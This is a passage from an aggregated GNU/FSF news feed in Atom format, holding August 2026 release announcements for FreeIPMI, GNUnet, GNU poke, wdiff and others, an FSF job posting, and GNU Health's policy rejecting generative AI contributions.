&lt;li&gt;(Have your company) donate to FSF &lt;a href=&quot;https://my.fsf.org/donate/&quot;&gt;https://my.f ... .org/donate/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU SQL&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases&#39; command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
&lt;br /&gt;

&lt;br /&gt;
The database is addressed using a DBURL. If commands are left out you will get that database&#39;s interactive shell.
&lt;br /&gt;

&lt;br /&gt;
When using GNU SQL for a publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Niceload&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Ole Tange</name>
	   <uri>https://savannah.gnu.org/projects/parallel</uri> 
	</author>
	<source>
	  <title type="html">GNU Parallel - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dparallel"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=parallel</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">FreeIPMI 1.6.19 Released</title>
	<link href="https://savannah.gnu.org/news/?id=10929"/>
	<id>https://savannah.gnu.org/news/?id=10929</id>
	<updated>2026-08-28T16:21:48+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;o Fix minor groff warnings in manpages.
&lt;br /&gt;
o Fix portability of building manpages.
&lt;br /&gt;
o Fix minor bugs found by code analysis:
&lt;br /&gt;
  - bmc-watchdog: Fix bug with --arp-response command line parsing.
&lt;br /&gt;
  - ipmi/rmcpping: Fix bug with finding an IPv6 interface.
&lt;br /&gt;
  - ipmidetect: fix bug in which hostname configs not used properly
&lt;br /&gt;
  - ipmi-oem intelnm: fix parsing of hours/minutes error
&lt;br /&gt;
  - ipmi-oem: Correct Dell CMC IPv6 autoconfiguration output.
&lt;br /&gt;
  - ipmi-oem: Correct Dell iDRAC web server control output.
&lt;br /&gt;
  - libipmidetect: Isolate partial results between fallback servers.
&lt;br /&gt;
  - libipmidetect: Honor caller-provided hostnames over configured defaults.
&lt;br /&gt;
  - common: Preserve stream state when finishing buffered output.
&lt;br /&gt;
  - common: Fix buffer-output configuration parse issue.
&lt;br /&gt;
  - common: Parse UTC offset configuration as an integer.
&lt;br /&gt;
  - ipmiconsole: Monitor both console descriptors.
&lt;br /&gt;
  - ipmiconsole: Check valid payload instance range correctly.
&lt;br /&gt;
  - ipmi-sel: Honor post-clear after full tail output.
&lt;br /&gt;
  - ipmi-fru: Report DIMM capacities in megabytes.
&lt;br /&gt;
  - ipmi-chassis: Apply the Power-On Hours scale correctly.
&lt;br /&gt;
  - libipmimonitoring: fix mem-leak on SEL iterator
&lt;br /&gt;
  - libipmimonitoring: allow cipher suite 0 in configs
&lt;br /&gt;
  - libipmimonitoring: report NO_SEL_RECORDS instead of
&lt;br /&gt;
    NO_SENSOR_READINGS cut and paste errors in some functions.
&lt;br /&gt;
o Fix potential stack overflows found by code analysis in ipmi-oem dell get-system-info command (specifically idrac-info, cmc-info, cmc-ipv6-info subcommands) and ipmi-oem fujitsu get-sel-entry-long-text.
&lt;br /&gt;
o Fix potential stack overflow in libfreeipmi also related to Fujitsu long SEL entries.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;a href=&quot;https://ftp.gnu.org/gnu/freeipmi/freeipmi-1.6.19.tar.gz&quot;&gt;https://ftp.gnu.o ... pmi-1.6.19.tar.gz&lt;/a&gt;&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Albert Chu</name>
	   <uri>https://savannah.gnu.org/projects/freeipmi</uri> 
	</author>
	<source>
	  <title type="html">GNU FreeIPMI - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dfreeipmi"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=freeipmi</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">Job opportunity: Systems Integration Administrator at the Free Software Foundation</title>
	<link href="http://www.fsf.org/news/2026-job-opportunity-fsf-systems-integration-administrator"/>
	<id>http://www.fsf.org/news/2026-job-opportunity-fsf-systems-integration-administrator</id>
	<updated>2026-08-26T18:55:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">The Free Software Foundation (FSF), a Massachusetts 501(c)(3) charity with a worldwide mission to promote computer user freedom, seeks a motivated and talented individual to be our new Systems Integration Administrator. This position is ideally full-time and US-based, but exceptions can be made for a qualified candidate.</content>
	<author>
	  <name>FSF News</name>
	   <uri>http://www.fsf.org/news/aggregator</uri> 
	</author>
	<source>
	  <title type="html">FSF News</title>
	  
	  <link rel="self" href="https://static.fsf.org/fsforg/rss/news.xml"/>
	  <id>http://www.fsf.org/news/aggregator</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">Five more organizer tales: LibreLocal 2026, part three</title>
	<link href="http://www.fsf.org/blogs/community/2026-librelocal-part-3"/>
	<id>http://www.fsf.org/blogs/community/2026-librelocal-part-3</id>
	<updated>2026-08-26T16:55:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">From Canada to Poland, LibreLocal 2026 organizers shared free software with their communities!</content>
	<author>
	  <name>FSF Blogs</name>
	   <uri>http://www.fsf.org/blogs/recent-blog-posts</uri> 
	</author>
	<source>
	  <title type="html">FSF blogs</title>
	  <subtitle type="html">Writing by representatives of the Free Software Foundation.</subtitle>
	  <link rel="self" href="https://static.fsf.org/fsforg/rss/blogs.xml"/>
	  <id>http://www.fsf.org/blogs/recent-blog-posts</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">automake-1.18.92 released [beta]</title>
	<link href="https://savannah.gnu.org/news/?id=10927"/>
	<id>https://savannah.gnu.org/news/?id=10927</id>
	<updated>2026-08-25T14:32:56+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;This is to announce automake-1.18.92, a beta release in preparation for automake-1.19.  Announcement:
&lt;br /&gt;

&lt;br /&gt;
&lt;a href=&quot;https://lists.gnu.org/archive/html/autotools-announce/2026-08/msg00000.html&quot;&gt;https://lists.gnu ... -08/msg00000.html&lt;/a&gt;&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Kamila Szewczyk</name>
	   <uri>https://savannah.gnu.org/projects/automake</uri> 
	</author>
	<source>
	  <title type="html">GNU Automake - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dautomake"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=automake</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">The hidden cost of today&#39;s &quot;smart&quot; devices</title>
	<link href="http://www.fsf.org/blogs/community/2026-the-hidden-cost-of-todays-smart-devices"/>
	<id>http://www.fsf.org/blogs/community/2026-the-hidden-cost-of-todays-smart-devices</id>
	<updated>2026-08-24T21:20:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en"></content>
	<author>
	  <name>FSF Blogs</name>
	   <uri>http://www.fsf.org/blogs/recent-blog-posts</uri> 
	</author>
	<source>
	  <title type="html">FSF blogs</title>
	  <subtitle type="html">Writing by representatives of the Free Software Foundation.</subtitle>
	  <link rel="self" href="https://static.fsf.org/fsforg/rss/blogs.xml"/>
	  <id>http://www.fsf.org/blogs/recent-blog-posts</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">unrtf 0.21.12</title>
	<link href="https://savannah.gnu.org/news/?id=10925"/>
	<id>https://savannah.gnu.org/news/?id=10925</id>
	<updated>2026-08-24T08:22:49+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;unrtf 0.21.12 is released, fixing a serious recently submitted security issue.&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Jean-Francois Dockes</name>
	   <uri>https://savannah.gnu.org/projects/unrtf</uri> 
	</author>
	<source>
	  <title type="html">unrtf - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dunrtf"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=unrtf</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">Book chapter on Taler as sCBDC technology published</title>
	<link href="https://taler.net/en/news/2026-10.html"/>
	<id>https://taler.net/en/news/2026-10.html</id>
	<updated>2026-08-20T22:00:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;article&gt;
             The recently published Springer book &quot;Tokenisation of Money: From Fiat Currencies to Stablecoins&quot; includes the chapter &quot;Taler as a synthetic Central Bank Digital Currency&quot; by Christian Grothoff, Mikolai Gütschow and Valentin Seehausen. It discusses the potentials and benefits of GNU Taler as a technological enabler for privately issued CBDCs.
           &lt;/article&gt;</content>
	<author>
	  <name>GNU Taler news</name>
	   <uri>https://taler.net//</uri> 
	</author>
	<source>
	  <title type="html">Taler.net</title>
	  <subtitle type="html">News posts published by Taler about changes related to Taler, releases and events</subtitle>
	  <link rel="self" href="https://taler.net/en/rss.xml"/>
	  <id>https://taler.net//</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">GNUnet 0.29.0</title>
	<link href="https://gnunet.org/en/news/2026-08-0.29.0.html"/>
	<id>https://gnunet.org/en/news/2026-08-0.29.0.html</id>
	<updated>2026-08-19T22:00:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;article id=&quot;newspost-content&quot;&gt;
 
  &lt;h1&gt;
   GNUnet 0.29.0 released
  &lt;/h1&gt;
  &lt;p&gt;
   We are pleased to announce the release of GNUnet 0.29.0.
   &lt;br /&gt;
   GNUnet is an alternative network stack for building secure, decentralized and
  privacy-preserving distributed applications.
  Our goal is to replace the old insecure Internet protocol stack.
  Starting from an application for secure publication of files, it has grown to
  include all kinds of basic protocol components and applications towards the
  creation of a GNU internet.
  &lt;/p&gt;
  &lt;p&gt;
   This is a new major release.
  The release addresses a couple of regressions and general instability of the transport subsystem.
  Major versions may break protocol compatibility with the 0.28.X versions.
  Please be aware that Git master is thus henceforth (and has been for a
  while)
   &lt;b&gt;
    INCOMPATIBLE
   &lt;/b&gt;
   with
  the 0.28.X GNUnet network, and interactions between old and new peers
  will result in issues.
  In terms of usability, users should be aware that there are still
   &lt;b&gt;
    a number of known open issues
   &lt;/b&gt;
   in particular with respect to ease
  of use, but also some critical privacy issues especially for mobile users.
  Also, the nascent network is tiny and thus unlikely to
  provide good anonymity or extensive amounts of interesting information.
  As a result, the 0.29.0 release is still
   &lt;b&gt;
    only suitable for early adopters
  with some reasonable pain tolerance
   &lt;/b&gt;
   .
  &lt;/p&gt;
  &lt;h4&gt;
   Download links
  &lt;/h4&gt;
  &lt;ul&gt;
   &lt;li&gt;
    &lt;a href=&quot;https://ftpmirror.gnu.org/gnunet/gnunet-0.29.0.tar.gz&quot;&gt;
     gnunet-0.29.0.tar.gz
    &lt;/a&gt;
    (
    &lt;a href=&quot;https://ftpmirror.gnu.org/gnunet/gnunet-0.29.0.tar.gz.sig&quot;&gt;
     signature
    &lt;/a&gt;
    )
   &lt;/li&gt;
   
   &lt;p&gt;
    The GPG key used to sign is:
    &lt;a href=&quot;https://www.gnunet.org/~schanzen/3D11063C10F98D14BD24D1470B0998EF86F59B6A&quot;&gt;
     3D11063C10F98D14BD24D1470B0998EF86F59B6A
    &lt;/a&gt;
   &lt;/p&gt;
   &lt;p&gt;
    Note that due to mirror synchronization, not all links might be functional
  early after the release. For direct access try
    &lt;a href=&quot;http://ftp.gnu.org/gnu/gnunet/&quot;&gt;
     http://ftp.gnu.org/gnu/gnunet/
    &lt;/a&gt;
   &lt;/p&gt;
   &lt;h4&gt;
    Changes
   &lt;/h4&gt;
   &lt;p&gt;
    A detailed list of changes can be found in the git log, the NEWS.
   &lt;/p&gt;
   &lt;h4&gt;
    Known Issues
   &lt;/h4&gt;
   &lt;ul&gt;
    &lt;li&gt;
     There are known moderate implementation limitations in CADET that negatively impact performance.
    &lt;/li&gt;
    &lt;li&gt;
     There are known moderate design issues in FS that also impact usability and performance.
    &lt;/li&gt;
    &lt;li&gt;
     There are minor implementation limitations in SET that create unnecessary attack surface for availability.
    &lt;/li&gt;
    &lt;li&gt;
     The RPS subsystem remains experimental.
    &lt;/li&gt;
   &lt;/ul&gt;
   &lt;p&gt;
    In addition to this list, you may also want to consult our bug tracker at
    &lt;a href=&quot;https://bugs.gnunet.org/&quot;&gt;
     bugs.gnunet.org
    &lt;/a&gt;
    which lists about 190 more specific issues.
   &lt;/p&gt;
   &lt;h4&gt;
    Thanks
   &lt;/h4&gt;
   &lt;p&gt;
    This release was the work of many people. The following people contributed code and were thus easily identified:
Christian Grothoff, Florian Dold, TheJackiMonster, and Martin Schanzenbach.
   &lt;/p&gt;
   
  &lt;/ul&gt;
 
&lt;/article&gt;</content>
	<author>
	  <name>GNUnet News</name>
	   <uri>https://gnunet.org//</uri> 
	</author>
	<source>
	  <title type="html">GNUnet.org</title>
	  <subtitle type="html">News posts published by GNUnet about changes related to GNUnet, releases, and events</subtitle>
	  <link rel="self" href="https://gnunet.org/en/rss.xml"/>
	  <id>https://gnunet.org//</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">GNU Health strict No Generative Artificial Intelligence Policy</title>
	<link href="https://savannah.gnu.org/news/?id=10924"/>
	<id>https://savannah.gnu.org/news/?id=10924</id>
	<updated>2026-08-19T15:30:29+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;Dear community
&lt;br /&gt;

&lt;br /&gt;
We have included in the GNU Health &lt;b&gt;Code of Conduct&lt;/b&gt; the strict NO Generative Artificial Intelligence policy.
&lt;br /&gt;

&lt;br /&gt;
The current version reads:
&lt;br /&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;blockquote class=&quot;verbatim&quot;&gt;&lt;p&gt; GNU Health Strict No Generative Artificial Intelligence Policy&lt;br /&gt;
&lt;br /&gt;
GNU Health is social project made by humans and for humans. We DO NOT accept any code, artwork, review, documentation or issues created by generative Artifical Intelligence (GenAI) / Large Language Models (LLMs).&lt;br /&gt;
&lt;br /&gt;
The GNU Health no-AI policy is because we strongly believe that:&lt;br /&gt;
&lt;br /&gt;
* GenAI is bad for Mother Nature&lt;br /&gt;
* GenAI is bad for human rights, especially for underserved and marginalized communities.&lt;br /&gt;
* GenAI is bad for the Free Software and Free Culture communities.&lt;br /&gt;
* GenAI is bad for you&lt;br /&gt;
&lt;br /&gt;
Last but not least, GNU Health manages critical health information both at personal and population level. There must be a reasoning behind every single line of code. We make all the effort to minimize bugs that can jeopardize the integrity and security of the system, and we can not risk the project by putting it in hands of stochastic parrots.&lt;br /&gt;
&lt;br /&gt;
Letâ€™s keep the art and science of computing a human virtue.&lt;br /&gt;
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;
&lt;br /&gt;
You can read the entire, most current version of GNU Health Code of conduct here:
&lt;br /&gt;
&lt;a href=&quot;https://docs.gnuhealth.org/his/appendix/conduct.html&quot;&gt;https://docs.gnuh ... ndix/conduct.html&lt;/a&gt;&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Luis Falcon</name>
	   <uri>https://savannah.gnu.org/projects/health</uri> 
	</author>
	<source>
	  <title type="html">GNU Health - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dhealth"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=health</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">Six more global stories: LibreLocal 2026, part two</title>
	<link href="http://www.fsf.org/blogs/community/2026-librelocal-report-part-2"/>
	<id>http://www.fsf.org/blogs/community/2026-librelocal-report-part-2</id>
	<updated>2026-08-18T22:35:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en"></content>
	<author>
	  <name>FSF Blogs</name>
	   <uri>http://www.fsf.org/blogs/recent-blog-posts</uri> 
	</author>
	<source>
	  <title type="html">FSF blogs</title>
	  <subtitle type="html">Writing by representatives of the Free Software Foundation.</subtitle>
	  <link rel="self" href="https://static.fsf.org/fsforg/rss/blogs.xml"/>
	  <id>http://www.fsf.org/blogs/recent-blog-posts</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">GNU poke 5.0 released</title>
	<link href="https://savannah.gnu.org/news/?id=10923"/>
	<id>https://savannah.gnu.org/news/?id=10923</id>
	<updated>2026-08-17T08:51:27+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;I am happy to announce a new major release of GNU poke, version 5.0.
&lt;br /&gt;

&lt;br /&gt;
GNU poke 5.0 release is now available at
&lt;br /&gt;
&lt;a href=&quot;https://ftp.gnu.org/gnu/poke/poke-5.0.tar.gz&quot;&gt;https://ftp.gnu.o ... e/poke-5.0.tar.gz&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
The tarball is signed and you can get the PGP signature at
&lt;br /&gt;
&lt;a href=&quot;https://ftp.gnu.org/gnu/poke/poke-5.0.tar.gz.sig&quot;&gt;https://ftp.gnu.o ... ke-5.0.tar.gz.sig&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
  GNU poke (&lt;a href=&quot;http://www.jemarch.net/poke&quot;&gt;http://www.j ... rch.net/poke&lt;/a&gt;) is an interactive, extensible
&lt;br /&gt;
  editor for binary data.  Not limited to editing basic entities such
&lt;br /&gt;
  as bits and bytes, it provides a full-fledged procedural,
&lt;br /&gt;
  interactive programming language designed to describe data
&lt;br /&gt;
  structures and to operate on them.
&lt;br /&gt;

&lt;br /&gt;
I&#39;d like to thank everyone who contributed to this release through code,
&lt;br /&gt;
documentation, or testing.
&lt;br /&gt;

&lt;br /&gt;
What is new in this release:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;User interface updates&lt;/h4&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now hyperlink server can bind to a user-specified port for listening to
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;commands (-p, --hserver-port).
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;Poke Language updates&lt;/h4&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Floating-point arithmetic is now supported on uint&amp;lt;32&amp;gt;/uint&amp;lt;64&amp;gt; types.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  uint&amp;lt;32&amp;gt; will be interpreted as a single-precision floating-point number
&lt;br /&gt;
  and uint&amp;lt;64&amp;gt; will be interpreted as a double-precision floating-point
&lt;br /&gt;
  number as defined per the IEEE 754 standard.
&lt;br /&gt;
  The following expressions are now supported:
&lt;br /&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;blockquote class=&quot;verbatim&quot;&gt;&lt;p&gt;     - Addition:       a .+  b&lt;br /&gt;
    - Subtraction:    a .-  b&lt;br /&gt;
    - Multiplication: a .*  b&lt;br /&gt;
    - Division:       a ./  b&lt;br /&gt;
    - Ceil-devision:  a ./^ b&lt;br /&gt;
    - Exponentiation: a .** b&lt;br /&gt;
    - Remainder:      a .%  b&lt;br /&gt;
    - Post-increment: a.++&lt;br /&gt;
    - Pre-increment:  .++a&lt;br /&gt;
    - Post-decrement: a.--&lt;br /&gt;
    - Pre-decrement:  .--a&lt;br /&gt;
    - Negation:      .-a&lt;br /&gt;
&lt;br /&gt;
    - Less-than:                a .&amp;lt;  b&lt;br /&gt;
    - Less-than-or-equal-to:    a .&amp;lt;= b&lt;br /&gt;
    - Greater-than:             a .&amp;gt;  b&lt;br /&gt;
    - Greater-than-or-equal-to: a .&amp;gt;= b&lt;br /&gt;
    - Equal-to:                 a .== b&lt;br /&gt;
    - Not-equal-to:             a .!= b&lt;br /&gt;
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;Poke Runtime updates&lt;/h4&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Thanks to the great work of David Faust, poke now supports reactive IO
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  spaces!  Extent of a PVM value mapped in a given IO space will be tracked
&lt;br /&gt;
  and values will be re-mapped only if a write happens in their extent; which
&lt;br /&gt;
  is a big performance win for read-intense programs.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A bunch of undefined behavior (UB) releated to left-shifts has been fixed.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Improved human-readable message of E_conv exception when verifying
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  length/size of an array with dynamic bound(s) to help the user to
&lt;br /&gt;
  understand the mistake.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;Poke compiler updates&lt;/h4&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now poke can properly handle writes to nested integral struct/unions
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  fields.  Previously write to nested fields of integral structs did not
&lt;br /&gt;
  materialize in IO space.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;Standard Poke Library updates&lt;/h4&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Closure&#39;s pretty printer now adds closure&#39;s name (identifier) to output.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Two new functions to calculate square root of single and double precision
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  floating point numbers: sqrtf and sqrtd.
&lt;br /&gt;
  They accept uint&amp;lt;32&amp;gt; and uint&amp;lt;64&amp;gt; respectively as the IEEE 754 single and
&lt;br /&gt;
  double precision floating-point numbers.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;libpoke updates&lt;/h4&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Version of DSO is bumped to 2.0.0, and from this release onward, we try
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  to not break the ABI, and bump the version components according to the
&lt;br /&gt;
  libtool&#39;s recommendation (when needed).
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To be able to keep the ABI backward-compatibility promise, all public APIs
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  are now accepting either pk_compiler or pk_val.  This is the first step
&lt;br /&gt;
  toward removing global state from libpoke to be able to have multiple
&lt;br /&gt;
  instances of libpoke in a single process (and also to be able to accomplish
&lt;br /&gt;
  thread-safety). We&#39;re not there yet, but we&#39;ll be there some day (hopefully
&lt;br /&gt;
  soon)!
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;IO subsystem updates&lt;/h4&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IOS_F_TRUNCATE has been re-introduced (it was removed after release of
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  poke 1.0 by the rationale that it&#39;s not that useful of a flag.  Turns
&lt;br /&gt;
  out it&#39;s quite useful to start from an empty file when assembling binary
&lt;br /&gt;
  files from scratch using poke.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;Pickles updates&lt;/h4&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Improved ustar pickle and add tests.  Method get_last_mod_time has been
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  fixed and the following methods has been added:
&lt;br /&gt;
  get_{file,owner_user,group}_name.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Improved time pickle to print date and time properly (zero-padded), and
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  also add ptime_str function to get date/time information as a string.
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;Platform supports&lt;/h4&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We tried to improve MinGW compilation situation by importing more Gnulib
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  modules, but we still cannot have poke executable for MinGW platform.
&lt;br /&gt;
  Help is very much appreciated in this area!
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h4&gt;Documentation updates&lt;/h4&gt;
&lt;p&gt;
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Thanks to people who actually read the reference manual, this release
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;  includes a bunch of corrections to the documentation! Cheers to them!
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
Happy poking!
&lt;br /&gt;
Mohammad-Reza Nabipoor&lt;br /&gt;
&lt;/p&gt;</content>
	<author>
	  <name>Mohammad-Reza Nabipoor</name>
	   <uri>https://savannah.gnu.org/projects/poke</uri> 
	</author>
	<source>
	  <title type="html">poke - News</title>
	  
	  <link rel="self" href="https://savannah.gnu.org%2Fnews%2Fatom.php%3Fgroup%3Dpoke"/>
	  <id>http://savannah.gnu.org/news/atom.php?group=poke</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">wdiff-1.2.3 released [stable]</title>
	<link href="https://savannah.gnu.org/news/?id=10922"/>
	<id>https://savannah.gnu.org/news/?id=10922</id>
	<updated>2026-08-12T19:28:40+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;&lt;br /&gt;
&lt;/p&gt;
&lt;blockquote class=&quot;verbatim&quot;&gt;&lt;p&gt; This is to announce wdiff-1.2.3, a stable release.&lt;br /&gt;
&lt;br /&gt;
There have been 29 commits by 2 people in the 637 weeks since 1.2.2.&lt;br /&gt;
&lt;br /&gt;
See the NEWS below for a brief summary.&lt;br /&gt;
&lt;br /&gt;
Thanks to everyone who has contributed!&lt;br /&gt;
The following people contributed changes to this release:&lt;br /&gt;
&lt;br /&gt;
  Bob Proulx (6)&lt;br /&gt;
  Simon Josefsson (23)&lt;br /&gt;
&lt;br /&gt;
Happy Hacking,&lt;br /&gt;
Simon [on behalf of the wdiff maintainers]&lt;br /&gt;
==================================================================&lt;br /&gt;
&lt;br /&gt;
Here is the GNU wdiff home page:&lt;br /&gt;
  https://www.gnu.org/software/wdiff/&lt;br /&gt;
&lt;br /&gt;
Manual:&lt;br /&gt;
  https://www.gnu.org/software/wdiff/manual/&lt;br /&gt;
  https://www.gnu.org/software/wdiff/manual/wdiff.html - HTML format&lt;br /&gt;
  https://www.gnu.org/software/wdiff/manual/wdiff.pdf  - PDF format&lt;br /&gt;
&lt;br /&gt;
Here are the compressed sources and a GPG detached signature:&lt;br /&gt;
  https://ftp.gnu.org/gnu/wdiff/wdiff-1.2.3.tar.gz&lt;br /&gt;
  https://ftp.gnu.org/gnu/wdiff/wdiff-1.2.3.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
Here is minimal source-only &quot;git archive&quot; sources:&lt;br /&gt;
  https://ftp.gnu.org/gnu/wdiff/wdiff-v1.2.3-src.tar.gz&lt;br /&gt;
  https://ftp.gnu.org/gnu/wdiff/wdiff-v1.2.3-src.tar.gz.sig&lt;br /&gt;
&lt;br /&gt;
Use a mirror for higher download bandwidth:&lt;br /&gt;
  https://www.gnu.org/order/ftp.html&lt;br /&gt;
&lt;br /&gt;
Here are the SHA256 and SHA3-256 checksums:&lt;br /&gt;
&lt;br /&gt;
  File: wdiff-1.2.3.tar.gz&lt;br /&gt;
  SHA256 sum:   29a4457eb0ed35c902e6732d71f25e1d6c7fe7fa0eda0fb6c371ed6779b49fd6&lt;br /&gt;
  SHA3-256 sum: 2f558fe6b7a69524f29d266c4018c80a10135cef2e4a53ae3c2944c1fc12c95d&lt;br /&gt;
&lt;br /&gt;
  File: wdiff-v1.2.3-src.tar.gz&lt;br /&gt;
  SHA256 sum:   dc29d8f530471b9a8935413dca32e45848363f6e58888fc7307f5f052b8fb827&lt;br /&gt;
